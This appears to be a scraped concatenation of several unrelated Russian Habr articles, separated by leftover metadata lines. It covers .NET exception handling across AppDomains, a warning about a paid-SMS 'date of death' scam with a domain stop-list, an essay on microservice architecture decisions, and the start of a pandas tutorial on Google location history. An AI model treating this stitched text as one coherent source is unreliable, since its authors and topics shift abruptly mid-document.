var proxy = (ApplicationLogger)dom.CreateInstanceAndUnwrap(typeof(ApplicationLogger).Assembly.FullName, typeof(ApplicationLogger).FullName);
proxy.StartThread();
var subscription = new EventHandler((\_, args) =>
{
proxy.LogFCE(args.Exception);
});
observable.FirstChanceException += subscription;
return new Subscription(() => {
observable.FirstChanceException -= subscription;
proxy.StopAndWait();
});
}
private class Subscription : IDisposable
{
Action act;
public Subscription (Action act) {
this.act = act;
}
public void Dispose()
{
act();
}
}
}
```
В данном случае обработка `FirstChanceException` происходит максимально безопасно: в соседнем потоке, принадлежащим соседнему домену. Ошибки обработки сообщения при этом не могут обрушить рабочие потоки приложения. Плюс отдельно можно послушать UnhandledException домена логгирования сообщений: фатальные ошибки при логгировании не обрушат все приложение.
### AppDomain.UnhandledException
Второе сообщение, которое мы можем перехватить и которое касается обработки исключительных ситуаций — это `AppDomain.UnhandledException`. Это сообщение — очень плохая новость для нас поскольку обозначает что не нашлось никого кто смог бы найти способ обработки возникшей ошибки в некотором потоке. Также, если произошла такая ситуация, все что мы можем сделать — это "разгрести" последствия такой ошибки. Т.е. каким-либо образом зачистить ресурсы, принадлежащие только этому потоку если таковые создавались. Однако, еще более лучшая ситуация — обрабатывать исключения, находясь в "корне" потоков не заваливая поток. Т.е. по сути ставить `try-catch`. Давайте попробуем рассмотреть целесообразность такого поведения.
Пусть мы имеем библиотеку, которой необходимо создавать потоки и осуществлять какую-то логику в этих потоках. Мы, как пользователи этой библиотеки интересуемся только гарантией вызовов API а также получением сообщений об ошибках. Если библиотека будет рушить потоки не нотифицируя об этом, нам это мало чем может помочь. Мало того обрушение потока приведет к сообщению `AppDomain.UnhandledException`, в котором нет информации о том, какой конкретно поток лег на бок. Если же речь идет о нашем коде, обрушивающийся поток нам тоже вряд-ли будет полезным. Во всяком случае необходимости в этом я не встречал. Наша задача — обработать ошибки правильно, отдать информацию об их возникновении в журнал ошибок и корректно завершить работу потока. Т.е. по сути обернуть метод, с которого стартует поток в `try-catch`:
```
ThreadPool.QueueUserWorkitem(_ => {
using(Disposables aggregator = ...){
try {
// do work here, plus:
aggregator.Add(subscriptions);
aggregator.Add(dependantResources);
} catch (Exception ex)
{
logger.Error(ex, "Unhandled exception");
}
}
});
```
В такой схеме мы получим то что надо: с одной стороны мы не обрушим поток. С другой — корректно очистим локальные ресурсы если они были созданы. Ну и в довесок — организуем журналирование полученной ошибки. Но постойте, скажете вы. Как-то вы лихо соскочили с вопроса события `AppDomain.UnhandledException`. Неужели оно совсем не нужно? Нужно. Но только для того чтобы сообщить что мы забыли обернуть какие-то потоки в `try-catch` со всей необходимой логикой. Именно со всей: с логгированием и очисткой ресурсов. Иначе это будет совершенно не правильно: брать и гасить все исключения, как будто их и не было вовсе.
> ### Ссылка на всю книгу
>
>
>
> *  CLR Book: [GitHub](https://github.com/sidristij/dotnetbook/)
> *  Релиз 0.5.0 книги, PDF: [GitHub Release](https://github.com/sidristij/dotnetbook/releases/tag/0.5.0)
>
>
>
>
[](https://habr.com/ru/company/clrium/blog/465081/) | https://habr.com/ru/post/419929/ | null | ru | null |
# Я не хочу знать дату своей смерти!
Сейчас довольно активно «раскручивается» сайт data-smerti.ru, всеми возможными и невозможными способами: начиная со спама на форумах и в аське, заканчивая скупкой копеечного трафика в сетях контекстной рекламы. На этом сайте (и его клонах на других доменах) предлагают пройти тест, в результате которого вы сможете узнать, сколько лет вам отведено на этом свете. Вы вдумчиво отвечаете на немалый список вполне адекватных вопросов (например, о вредных привычках и образе жизни), после чего вам предлагают отправить СМС на платный номер, чтобы узнать результат теста. Стоимость указана очень мелким текстом в середине длинного соглашения об использовании и составляет около 10$. Расчет идет на то, что, затратив минут 10 на прохождение теста, человек не захочет уходить без ответа и, потеряв бдительность, все-таки отошлет недешевую СМСку.
Впервые я увидел рекламу этого ресурса у себя на сайте, в блоках AdSense. Занес в фильтр и решил, что про «дату смерти» можно забыть. Через время реклама теста появилась опять, на этот раз с адресом test-smerti.ru, а потом test-dead.ru. Видимо, меняя адрес сайта, спамеры защищаются от спам-фильтров и фильтра AdSense.
Так уж сложилось, что я являюсь автором [программы](http://previewtool.ru/) для управления фильтром AdSense и у меня есть доступ к данным, какие сайты чаще всего блокируют пользователи AdSense.
Я решил просмотреть базу и собрать все домены, по которым отзывается «дата смерти». Вы можете занести этот список в стоп-лист на своем форуме, антиспам-плагин для ICQ или в фильтр службы контекстной рекламы.
`data-smerti.ru
test-smerti.ru
test-dead.ru
kogda-umresh.ru
dead-test.ru
not-dead.ru
my-death-test.com
death-test.ru
kukushka.net
data-smerty.ru
data-smerti.net
data-smerti.com
uznay-datu.ru
uznaydatu.ru
life-test.ru`
Если вы знаете про другие адреса этого сайта — буду рад дополнить список.
Кстати, чтобы оценить, насколько активно идет спам этого ресурса, предлагаю сравнить один из его доменов с Хабрахабром по Alexa:
P.S. Напоминаю, стоимость СМС — **10$**, не ведитесь на подобный развод. ;)
P.S.S. Спасибо за дополнение, [LionS](https://habrahabr.ru/users/lions/), [private](https://habrahabr.ru/users/private/), [WIRTEL](https://habrahabr.ru/users/wirtel/). | https://habr.com/ru/post/42407/ | null | ru | null |
# Это вопрос должен решать архитектор. Или нет?
У меня есть некоторый опыт в реализации систем на базе микросервисной архитектуры и я хотел бы поделится вопросами (и ответами), которые возникают при реализации подобных проектов. К сожалению, я не имею права распространяться о проектах в которых я участвовал, поэтому я выдумал собственный сферический проект в вакууме. В этом проекте нам встретится множество стандартных проблем.
Хочу сразу заметить, что имплементация будет рудиментарной и служит только базой для постановки вопросов. В любом случае, я надеюсь, вы найдете в статье пару интересных мыслей и ссылок.
Мы увидим, сколько интересных моментов могут возникнуть при написании всего трех классов и зададимся вопросом, должен ли в данном случае принимать решение архитектор или разработчик может решить эту проблему сам.
### **Основная идея проекта**
Итак, представьте себе, что светлое будущее наступило и машины с автопилотом резво бегают по городам и селам. Возникает вопрос: а нужен ли вам в таких условиях личный автомобиль?
Я предлагаю вам другой подход. Смотрите, вы идете ко мне на сайт, регистрируетесь, заполняете анкету. В анкете будет примерно следующее: хочу каждый день с понедельника по пятницу в 8:15 выйти из дома (пункт А) сесть в мерседес и доехать до работы (пункт Б). Потом вечером в 18:00 выйти из офиса (пункт Б) сесть в ауди и доехать до дома (пункт А). Там же еще можете пометить галочкой пункт: хочу иметь возможность уехать с работы раньше, машину готов ждать не более 8 минут.
Также вы можете вызвать машину в любое удобное время, время подъезда не более пяти минут. Единственная оговорка для таких случаев, машину вы будете использовать не более пяти часов в неделю. Это на плохо планируемые случаи или, например, для поездки в магазин.
За все удовольствие с вас попросят 150 у.е. в месяц. Звучит неплохо, не правда ли?
Естественно под капотом у этого сервиса будет много логики, т.к. надо много что учитывать. Например, мы должны быть конкурентоспособны, т.е. надо предложить людям вариант подешевле. Для этого можно предусмотреть совместные поездки. Мы можем посмотреть, что сосед нашего клиента, оказывается, тоже едет в ту же сторону, но на 5 минут позже. Может предложить им ездить вместе, а за это предложить скидку?
Наш сервис будет давать нам множество данных из которых мы можем добыть много интересной информации:
* кто, куда, когда и с кем ездит.
* кто, где и сколько времени проводит
* что, когда, у каких моделей машин ломается
* кто какие машины предпочитает
* …..
На основе этой информации мы можем делать полезные выводы. Например, т.к. мы знаем куда и когда едут наши клиенты, мы можем предсказать пробки и в соответствие с этим скорректировать маршрут, чтобы не попадать в них.
Для того, чтобы это было возможно нам надо предусмотреть возможность сбора и анализа информации.
В общем и целом речь идет о большом и сложном проекте, который можно назвать модным словом «cognitive solution» для бизнеса с элементами из мира Internet of Things.
### **Методология разработки и анализ требований**
Естественно, сначала необходимо проанализировать все требования к проекту, решить какую методологию мы применим (waterfall, rup, scrum, …). Но в данном случае мы все эти этапы пропустим, т.к. практически все поднятые в этой статье вопросы возникнут в любом случае, независимо от выбранной методологии.
### **Язык, фреймворк, архитектура**
Изначально я Java Developer, и потому имплементация будет на java. Не обессудьте.
Кстати вот сразу вопрос, является ли выбор языка программирования задачей архитектора или он «выше этого»?
Для тех, кто думает что нет, что язык программирования второстепенен и вообще, важна только команда, я предлагаю провести маленький мысленный эксперимент. Подумайте, на каком языке вы бы такой проект точно не делали, т.е. считаете, что это было бы однозначно неправильное решение. А теперь представьте себе, что архитектор решил таки сделать проект именно на этом языке. А когда вы будете гневно возмущаться, он вам скажет: это второстепенный вопрос, главное команда!
Как и было сказано в самом начале, делать мы будем на базе микросервисной архитектуры. Кто то скажет, что начать с монолита было бы вернее и мы с ним согласимся, но начнем таки сразу с микросервисов.
А какой фреймворк возьмем? Если немного погуглить, то станет понятно, что особо вариантов нет, мы будем делать на Spring Framework. Причина проста, в Spring Cloud есть все, что нам потребуется.
Еще у нас будут всякие API Gateway’и, Config Service’ы, Message Broker’ы, Docker, Workflow, Rule Engine и много всяких других заумных слов по мелочи.
**Есть два основных подхода к проектированию микросервиса.*** Domain Driven Design
* Functional Driven
Domain Driven Design означает определение доменных объектов и имплементирование всех необходимых действий, которые требует ваш заказчик. Например заказчик какой нибудь аптечной системы говорит: мне нужно иметь возможность вносить новое лекарство в систему, удалять старые, а вот редактирование уже внесенного лекарства надо запретить. Вы делаете класс «Medicine» со всеми нужными полями и имплементируете названный функционал. Так у вас появляется *MedicineService*. Т.е. при таком подходе начальной точкой является доменные объекты.
Functional Driven означает, что за точку отсчета берется необходимый функционал, а уж какие какие доменные объекты вам придется привлечь, уже второстепенное дело.
Лично я всегда начинаю с доменных объектов, а потом проверяю, можно ли таким образом реализовать необходимый функционал. Если нет, то смотрю, может нужно добавить еще один доменный объект в сервис? По идее, как только пришлось это сделать, значит пора смотреть в сторону «функционального» подхода.
Сервисов с одним доменным объектом весьма не много, можно сразу начинать с функционала, но мне так проще.
Давайте определимся, какие сервисы нам необходимы. Для этого мы посмотрим, какие доменные объекты нам точно нужны, а потом посмотрим по каким сервисам мы их распихаем.
Начнем с транспорта. Например с *Car*. Хотя просто *Car* не пойдет. Поясню. Например вдруг человеку будет удобно доехать на машине до вокзала, там пересесть на поезд, доехать до города, а потом последние два километра проехать на велосипеде? Мы ведь хотим с этого милого человека еще и за велосипед денег попросить? А вдруг кто то захочет эту самую последнюю милю на моноколесе проехать? Не обижать же человека, тем более, если у него на это деньги есть? Давайте сдадим ему в аренду моноколесо! Таким образом в будущем нам может потребоваться множество классов, описывающих разные транспортные средства.
Возьмем за стартовую точку некоторый абстрактный класс *Vehicle*
```
public abstract class Vehicle {
….
protected String model;
protected int wheelNumber;
protected Date manufactureYear;
protected EngineType engineType;
protected Producer producer;
}
```
Как мы выяснили у нас будут разные *Vehicle*, давайте сделаем парочку:
```
public class Car extends Vehicle {
public Car() {
wheelNumber = 4;
}
}
```
и еще один для бедных, но спортивных:
```
public class Bicycle extends Vehicle {
public Bicycle() {
wheelNumber = 2;
}
}
```
Замечательно. Теперь нам нужен тот, ради кого мы все это делаем: наш клиент, он же источник нашего дохода. Назовем эту сущность Customer’ом
```
public class Customer {
private String firstName;
private String lastName;
private Date birthDay;
}
```
Еще нам нужен договор с клиентом, где будет указано, какое транспортное средство он получит от нас и сколько денег мы за это получим.
```
public class Contract {
private long customerId;
private long vehicleId;
}
```
Итого мы имеем одну иерархию классов с *Vehicle* на вершине, *Customer* и *Contract*. Предлагаю сделать из них *VehicleService*, *ContractService* и *CustomerService*.
**Что означает 'микро' в слове 'микросервис'?**Раньше меня мучал вопрос, а что означает «микро» в слове «микросервис»? По идее это означает «маленький». Но что значит маленький?
Часто встречается мнение, что микросервис должен помещаться в голову одного человека, или чтобы его могла сделать команда из трех человек и все такое. Это бесспорно имеет смысл, но я, как еще один вариант, предлагаю немного другой взгляд на этот вопрос.
Когда вы реализуете, а лучше, если еще только думаете сделать какой нибудь микросервис, то спросите себя: если я сильно ошибусь с этим сервисом, смогу ли я себе позволить выкинуть его и написать новый с абсолютного нуля?
Если ваш ответ «да», то это микросервис. А если нет, то и нет. И что важно, задавайте себе этот вопрос регулярно по мере реализации. Если вдруг у вас проскочил ответ «нет», начинайте рефакторить/дробить/переосмысливать этого монстра. Хотя обычно к этому времени все полимеры уже <..censored..>
Рудиментарную имплементацию сервисов вы можете посмотреть [тут](https://github.com/alexey-schroeder/Sharing).
Теперь давайте засунем все это дело в докер. Кстати, я был тут недавно на meetup по случаю четвертого дня рождения докера. Нам там презентовали интересную [ссылку](http://training.play-with-docker.com/), там местами весьма недурно, рекомендую посмотреть
Что бы засунуть наши сервисы в докер нам потребуется плагин для мавена (смотрите в pom.xml docker-maven-plugin) и dockerfile.
Все сервисы мы будем запускать через docker-compose, для этого в корне проекта лежит docker-compose.yml.
Обратите так же внимание на файл .env и его содержимое. Больше об этом файле найдете в [документации](https://docs.docker.com/compose/env-file/) . Без этого файла у меня на машине с Windows 7 не получилось инициализировать MySQL.
### **Что у меня получилось?**
Начнем с плюсов:
* эта штука работает.
На этом плюсы к сожалению закончились
Минусы:
Их к сожалению очень много, поэтому рассмотрим только пару штук выборочно.
Прежде чем я начну разбирать недостатки, хочу упомянуть один маленький, но чрезвычайно важный момент: микросервисная архитектура изначально предполагает, что в системе работают как минимум два экземпляра каждого сервиса, которые делят нагрузку. Если это правило не соблюдается, то, по моему мнению, речь о микросервисной архитектуре можно сразу же прекращать. Да, я знаю, это спорно, но мое мнение именно таково.
К сожалению, избыточность не гарантирует 100% доступность сервисов и поэтому, если есть другой разумный способ поддержания работоспособности системы, то его можно и нужно использовать.
#### **Добавление нового типа транспорта в систему**
**Диаграмма классов это не архитектура**Часто слышу такое высказывание: диаграмма классов это не архитектура. Объясняется это примерно так: что и как там в модуле сделано меня не интересует, мне важно что модули делают и как они между собой коммуницируют. Как правило, говорят это люди, которые программистом никогда не работали, но каким то образом сразу же стали архитекторами. Что я могу на это сказать? Может они действительно правы, но мой опыт говорит об обратном. И сейчас мы рассмотрим как раз такой случай.
Итак, для начала спросим себя, правильный ли подход к решению управления транспортными средствами мы применили? Поясню вопрос. Например мы хотим предложить нашим клиентам аренду скутера.
Сейчас *VehicleService* выглядит вот так.
Нам нужно добавить новую сущность *Scooter* в систему. У нас все построено на наследовании, поэтому конечный результат будет выглядеть так:
Мы напишем новый класс *Scooter* в *VehicleService*, протестим, скомпилим, задеплоим. А если у нас будут десятки типов транспортных средств? Будем каждый раз писать новый класс, тестить, компилить и т.д.? Есть ли другой способ?
Можно, например, сделать так. Сделаем класс *VehicleType*.
```
public class VehicleType {
private String name;
private List properties;
….
}
```
Как видите у *VehicleType* есть *VehicleProperty*:
```
public class VehicleProperty {
private String name;
private T value;
private String description;
…..
}
```
Сделаем еще класс *Vehicle*:
```
public class Vehicle {
private VehicleType vehicleType ;
private List customProperties;
…...
}
```
Теперь, если хотим добавить скутер в систему, то мы создадим сначала *VehicleType* «Scooter»:
```
VehicleProperty wheelNumberProperty = new VehicleProperty("wheelNumber", 2, "number of wheels");
…….
VehicleType scooterType = new VehicleType("Scooter");
scooterType.addProperty( wheelNumberProperty);
……..
```
А если нам нужно создать экземпляр скутера:
```
Vehicle scooter1 = new Vehicle(scooterType);
…..
```
Таким образом мы можем добавлять в систему сколько угодно новых типов не создавая новые классы в *VehicleService*.
Вы еще помните последнее лирическое отступление про диаграмму классов и вопрос является ли она предметом архитектуры? Вот перед вами две диаграммы классов которые описывают два принципиально разных подхода к реализации сервиса. Являются ли они частью архитектурного решения? По моему мнению очень даже, т.к. в данном случае способ реализации даже на уровне классов имеет далеко идущие последствия и может превратить дальнейшую жизнь проекта в ад.
**Скрытый business case**Вообще вопрос изменения чего либо в сервисе требует отдельного внимания. Поясню на примере.
У меня был такой случай. На митинге презентирую клиенту нашу будущую архитектуру. Ответил на вопросы. Вроде все хорошо, всем все нравится, все довольны. И тут главный айтишник клиента задает такой простой вопрос: как быстро вы можете добавить новое поле к доменному объекту «АBC»? Простой ведь вопрос, правда? Я и ответил просто: добавить поле — 2 минуты, написать тесты еще от нескольких минут до пары часов, потом прогон всех тестов (может длится часами), и т.д. В общем назвать какую то конкретную цифру я не смог и думаю что никто не сможет, пока это хотя бы раз не было сделано. Вроде как я правильно ответил, но ощущение, что ответ неверен меня не покидало. И вот однажды я таки понял, как я должен был ответить.
На сегодняшний день мой ответ звучит так: «А как часто это должно происходить?» Если это исключительная ситуация, то в принципе не важно сколько длится добавление поля, лишь бы этот срок был адекватным с точки зрения бизнеса. Если же это происходит часто, то надо бы задать вопрос: а не является ли это Business case? И если да, то этот функционал нужно изначально закладывать в систему и тогда ответ должен быть: 20-30 минут (это вранье, конечно, но звучит хорошо), может дольше, если случай тяжелый.
Также возникает другой вопрос: как так получилось, что этот business case всплыл только сейчас?
И еще более важный вопрос, а нет ли других подобных business case’ов, которые мы упустили?
Следующий момент. Смотрите, если наш *VehicleService* падает, то мы не можем ни создать новый экземпляр велосипеда в системе (например мы закупили новую партию велосипедов и хотим добавить их в систему), ни арендовать велосипед. Т.е. ни наши клиенты, ни наши сотрудники в офисе ничего сделать не могут. Было бы гораздо лучше, если бы даже в случае проблем в офисе наши клиенты могли бы делать заказы и приносить нам деньги. Как это можно сделать? Похоже надо делить наш *VehicleService* на два, один для клиентов и один для наших сотрудников.
Помните, я говорил про доменный и функциональный подход к проектированию сервисов. Проблема с доступностью сервиса для клиентов и наших сотрудников является прекрасным примером, когда мы начали с доменного подхода, уперлись в проблему и переходим к функциональному подходу. Нам нужны два сервиса, доменные объекты у них по большому счету одинаковые, а вот функционал разный.
Предположим, опять же, наш *VehicleService* упал. Это значит, что ни машины, ни велосипеды арендовать нельзя. Было бы не плохо, чтобы если сервис для машин не доступен, то сервис для велосипедов работал бы дальше. Как это можно сделать? Делить *VehicleService* на несколько сервисов по одному на каждый тип транспортного средства?
На самом деле последние два примера возможных проблем не совсем корректны, т.к. они могут быть решены через избыточность, т.е. должны работать несколько экземпляров сервиса. Но, как я говорил в начале, никакая избыточность не даст 100% доступности. Именно поэтому надо стараться решить вопрос доступности сервиса еще каким нибудь разумным альтернативным способом.
На нашей улице случился праздник, к нам набежала куча клиентов, которые хотят арендовать у нас машину. Сервис не справляется, но это не проблема, мы стартуем еще один экземпляр и все снова в порядке. Но теперь у нас два экземпляра сервиса не только для машин, но и для велосипедов. Плохо ли это? Не знаю, но уж точно не хорошо. Весьма возможно что с этим можно жить, надо смотреть.
После рассмотрения этих проблем, можно предложить еще один вариант имплементации сервиса. Мы сделаем отдельный сервис для каждого типа транспорта. Но возникает такой вопрос.
Предположим, вы клиент, зашли на сайт и хотите посмотреть на список всех возможных типов транспорта, т.е. вы хотите увидеть что то вроде:
* Car
* Bicycle
* Scooter
* Traktor
* ……
Откуда возьмется этот список? Наверное нужен еще сервис *VehicleTypesService*, который будет знать, какие типы транспорта вообще существуют в нашей системе. Откуда он получит эту информацию? Первое, что приходит в голову — ручками писать в базу. Если мы предоставляем к услугам еще один вид транспорта, то пишем для него сервис и не забываем пойти в *VehicleTypesService* и дописать ему в базу данных еще одну строчку.
А можно и по другому. При старте каждый сервис должен постучаться к *VehicleTypesService* сообщить ему о своем существовании. Это решение вроде хорошо выглядит, но не отвечает на вопрос что делать, если нам надо не добавить, а удалить вид транспортного средства. Например, через полгода мы поняли, что моноколесами никто не пользуется, мы хотим удалить его из системы. Как мы это сделаем?
А вот еще интересный вопрос. Как видите у *Vehicle* есть поле *EngineType*.
```
public abstract class Vehicle {
…...
protected EngineType engineType;
```
В моей рудиментарной имплементации EngineType имеет enum’ы:
* Gas
* Diesel
* Elektro
А теперь собственно сам вопрос: как мы создадим автомобиль с гибридной силовой установкой?
Сделаем вместо *EngineType* список *EngineType*’ов (и тогда у 99% машин вдруг появится список с одним элементом)?
```
public abstract class Vehicle {
…...
protected List engineTypes;
```
А может добавим новый тип в enum, что то вроде *Gibrid*?
Кто в этом случае принимает решение и, соответственно, несет за него ответственность?
Можно ли сказать, что здесь идет речь об архитектуре или это слишком «мелкий» вопрос?
На примере поля *EngineType* хочу задать еще один вопрос: а нужно ли нам вообще знать какой двигатель у машины? Ведь нашему клиенту с большой долей вероятности абсолютно все равно, заливаем мы в бак солярку или бензин. А вот, например, возможность захватить с собой велосипед (т.е. большой ли багажник или есть ли специальный крепеж для велосипеда), может оказаться очень даже важным.
На самом деле тип двигателя конечно же важен, но не для клиента, а для нас, компании, которая этот сервис предоставляет. Одна из причин — статистика (например по затратам на топливо или необходимому ремонту). Она будет сильно различаться для каждого типа двигателя. Отсюда возникает еще один вопрос: а не должны ли быть доменные объекты (или их представления) различными для нашего backend’a и frontend’a?
Как ответить на вопросы подобного рода? Я знаю только один способ: надо почаще разговаривать с людьми из бизнеса, спрашивать у них, что и где они хотят видеть? К сожалению они сами частенько не знают ответы на эти вопросы.
#### **Сложные запросы**
Предположим, я хочу посмотреть всех клиентов с их договорами, которые живут на улице Апельсиновой в славном городе Берлине. Т.е. я хочу увидеть что то вроде такой таблички:
| Фамилия, Имя | Номер договора | Дата подписания договора | Машина |
| --- | --- | --- | --- |
| Пупкин, Вася | 12345 | 01.01.2017 | Audi Q4 |
| ...... | ...... | ...... | ...... |
Как вы видите в таблице содержатся данные из трех микросервисов: *CustomerService*, *VehicleService* и *ContractService*. Как мы будем их собирать вместе? В случае монолита вопрос решается одним запросом в базу, а что делать когда у нас три базы?
Есть разные варианты решения этой маленькой проблемы и в следующий раз мы их обсудим.
**Спасибо, Кэп!**А теперь минуточку внимания. Когда надо было задаваться этими вопросами? Ответ: конечно же перед тем как писать код. И отвечать на эти вопросы должен в том числе и архитектор.
**Как происходит процесс принятия решений и донесения оных до команды программистов**А теперь небольшой «поток сознания» на тему: как вообще происходит процесс принятия решений и донесения оных до команды программистов? Я знаю две теоретические возможности, а все остальное только их миксы в различных пропорциях:
1. Приходит дядя и показывает презентацию со всякими красявостями в виде диаграмок сдобренных мудреными словами. Частенько он дает понять, что имеет за плечами большой опыт, понимает что делает и все такое, а потому решение принято окончательно и бесповоротно. Услышав ропот из дальнего ряда быстренько заявляет, что всегда открыт для новых идей.Фактически архитектор здесь является полноценным диктатором.
2. Приходит дядя, говорит, что он «художник» и видит «картину» вот так. При этом прямо говорит, что «рисовать» будет не он, а люди в «зале», а потому в их кровных интересах видение картины ругать и по возможности предлагать альтернативы. В этом случае архитектор стремится снять с себя какую либо ответственность.
Лично мне ближе, (повторюсь, ближе, а не полностью устраивает) второй вариант. Для этого существуют, наверное, десятки причин, рассмотрим некоторые из них.
Я не хочу нести ответственность. Нет, серьезно. Я, как и любой разумный человек, хочу получать кучу денег, ничего не делать и не нести за это ответственность. Но объективная реальность, к сожалению, показывает, что это невозможно. Ну, или я, по крайней мере, еще не нашел нужного способа.
Но для «поделиться с другим ответственностью» существует и другая причина и она не менее важна. Когда программист участвует в обсуждении (а таким образом косвенно и в принятии) решения он и реализует его с другим уровнем прилежания. Если вдруг вылезает косяк, он понимает, что в этом и его вина, а не «этот идиот архитектор фигню придумал, а мне ее прогай.»
Другая причина кроется в неполном знании системы и ее окружения. Представьте себе, что после презентации архитектуры вы получаете вопрос: «а как это все вяжется с тем фактом, что нам надо тянуть данные из чужой системы биллинга?» И тут архитектор вдруг узнает, что оказывается, есть сторонняя система с которой нам надо интегрироваться. И все это знают, кроме архитектора. Да, такое тоже бывает.
Важно объяснить, почему было принято именно это решение, а не какое либо другое, в чем преимущества и упомянуть недостатки. В этом случае люди понимают что происходит, становятся гораздо более терпеливы.
Правда тут надо заметить, что у такой «демократии», когда решение принимается кучей народа, есть свои границы. Более того, такое «демократическое» решение не всегда возможно. Например, когда все понимают, что каждое из обсужденных решений плохое, а хорошее никто не знает. В конце концов, если вдруг выясняется, что решение было неверным, ответственность за это несет архитектор. Отговорится, мол, я ведь всех спрашивал, это было коллективное решение, к сожалению не получится. Архитектор несет персональную ответственность за все решения, независимо от того, как они были приняты.
На последок еще две мысли.
Во первых, если ты считаешь, что твоя архитектура хороша, то это значит, что ты ее еще никому не показывал. К коду это, кстати, тоже относится.
Во вторых, я категорический сторонник мнения, что архитектор должен иметь практический опыт программирования, чтобы он знал, что значит реализовывать чужие хотелки. Еще лучше, если архитектор непосредственно участвует в реализации проекта, т.е. пишет код или как минимум этот самый код ревьюет. Архитектор должен регулярно проверять, что код соответствует принятым архитектурным решениям.
Однажды я прошляпил этот момент и только на Sprint Review абсолютно случайно узнал, что программист сделал совсем не так, как было ему сказано. На вопрос: написано же черным по английски, посылай «event», почему ты шлешь http request? был получен ответ: ну я подумал, что так будет лучше. Естественно все проконтролировать невозможно, надо доверять своей команде. Но, как говорят немцы, доверие хорошо, а контроль лучше.
#### **История изменений**
Однажды кому-нибудь умному захочется выяснить, почему клиенты расторгают или не продлевают договора и уходят к конкурентам? Может в последний раз машина не понравилась/опоздала? А может человек ездил раньше со своим коллегой, который перешел к нашим конкурентам и переманил своего попутчика к ним?
Чтобы ответить на подобного рода вопросы, нам нужно знать что происходило в системе, т.е. нам нужна история изменений.
Как это можно сделать мы обсудим в следующей статье.
#### **Проблемы с инфраструктурой**
Микросервисная архитектура накладывает весьма определенные требования на инфраструктуру всего приложения, а именно, нам нужны
* единая точка входа, он же API Gateway
* поиск сервисов, он же Service Discovery
* одна точка конфигурации, он же Config Service
* центральная точка сбора и анализа логов
* мониторинг
* ……
Эти и другие вопросы в следующей части. | https://habr.com/ru/post/331104/ | null | ru | null |
# Посмотрите, как Google отслеживает ваше местоположение. С Python, Jupyter, Pandas, Geopandas и Matplotlib
В отделе продаж можно услышать аббревиатуру *ABC:*[*Always Be Closing*](https://www.youtube.com/watch?v=GrhSLf0I-HM&t=3m21s)*, что* означает заключение сделки с покупателем. Последнее десятилетие породило еще одну аббревиатуру *ABCD: Always Be Collecting Data*.
Мы используем Google для почты, карт, фотографий, хранилищ, видео и многого другого. Мы используем Twitter, чтобы читать поток сознания одного президента. Мы используем Facebook для обмена сообщениями и… ну, почти все. Но наши родители пользуются им. Мы используем TikTok… Понятия не имею, зачем.
На самом деле, оказывается, что большинство из вышеперечисленного бесполезно… Ничего подобного, суть в том, что мы их используем. Мы их используем, и они бесплатны. В экономике XXI века, если вы не платите за товар, вы являетесь товаром.
Итак, короче говоря, я хотел выяснить, насколько [корпорация Alphabet](https://abc.xyz/), владелец Google, обо мне знает. Крошечная доля, я посмотрел на историю геолокации. Я никогда не отключал службы определения местоположения, потому что ценил комфорт выше конфиденциальности. Плохая идея.
### Загрузите ваши данные
Чтобы загрузить все данные, которые Google собрал о вас, перейдите на [takeout.google.com](https://takeout.google.com/) и выберите то, что вас интересует. Боюсь, что жесткий диск моего ноутбука недостаточно велик, чтобы загрузить все, поэтому я выбрал только *историю местоположений*. Только эти данные составляют почти 300 МБ в формате JSON.
Если вы не хотите скачивать все, вы можете [смотреть его в режиме реального времени](https://www.google.com/maps/timeline). Facebook также собирает данные о вашем местоположении, [которые вы можете увидеть здесь](https://www.facebook.com/location_history/view/). [Также доступна](https://www.facebook.com/help/212802592074644) опция загрузки. У меня 1,4 МБ, намного меньше, но ваш размер может отличаться. Имея эти данные, давайте как-нибудь их проанализируем.
### Войдите в Jupyter Notebook
В 2020 году парсинг JSON и построение красивых графиков называется *наукой о данных*. Я хочу быть ученым! Прежде чем мы начнем, нам понадобятся некоторые важные инструменты: Python, Jupyter Notebook и некоторые модули для обработки данных:
```
brew install python3
pip3 install jupyter pandas geopandas matplotlib descartes
```
Теперь давайте запустим Jupyter Notebook с помощью `jupyter notebook`команды (это было неожиданно…) Jupyter — это, по сути, визуальный REPL, поддерживающий Python и несколько других языков. Это очень удобно для исследования данных и может создавать приятно выглядящие документы, сочетающие код, текст и визуализацию. Все в вашем веб-браузере.
### Разбор файла местоположения JSON
Google предоставляет гигантский массив JSON, который выглядит примерно так:
```
"locations" : [ {
"timestampMs" : "1387457266881",
"latitudeE7" : 521490489,
"longitudeE7" : 208043723,
"accuracy" : 15
}, {
"timestampMs" : "1387457271865",
"latitudeE7" : 521490030,
"longitudeE7" : 208044464,
"accuracy" : 10,
"activity" : [ {
"timestampMs" : "1387457280733",
"activity" : [ {
"type" : "STILL",
"confidence" : 77
}, {
"type" : "UNKNOWN",
"confidence" : 20
}, {
"type" : "IN_VEHICLE",
"confidence" : 2
} ]
} ]
}
```
Примерно то, что вы ожидаете, широта / долгота (умноженная на 10 7), отметка времени и точность. Кроме того, некоторые точки данных содержат дополнительные метаданные о действиях, которые, по мнению Google, вы выполняли в этом месте. С вероятностью 77% я стоял на месте. Загрузим этот огромный файл в память и немного очистим его:
```
import pandas as pd
import numpy as np
import geopandas as gp
import shapely.geometry as sg
import datetime as dt
from matplotlib import cm
from matplotlib.lines import Line2D
def extract_activity(record):
try:
return record["activity"][0]["activity"][0]["type"]
except:
return "MISSING"
def parse_json(json):
points = [sg.Point(xy) for xy in zip(json.locations.apply(lambda x: x["longitudeE7"] / 10000000),
json.locations.apply(lambda x: x["latitudeE7"] / 10000000))]
df = gp.GeoDataFrame(geometry=points)
locations = json.locations
df["timestamp"] = locations.apply(lambda x: pd.to_datetime(x["timestampMs"], unit='ms'))
df["accuracy"] = locations.apply(lambda x: x["accuracy"])
df["velocity"] = locations.apply(lambda x: x.get("velocity", None))
df["heading"] = locations.apply(lambda x: x.get("heading", None))
df["altitude"] = locations.apply(lambda x: x.get("altitude", None))
df["activity"] = locations.apply(extract_activity)
return df
%time df = parse_json(pd.read_json("Location history.json"))
```
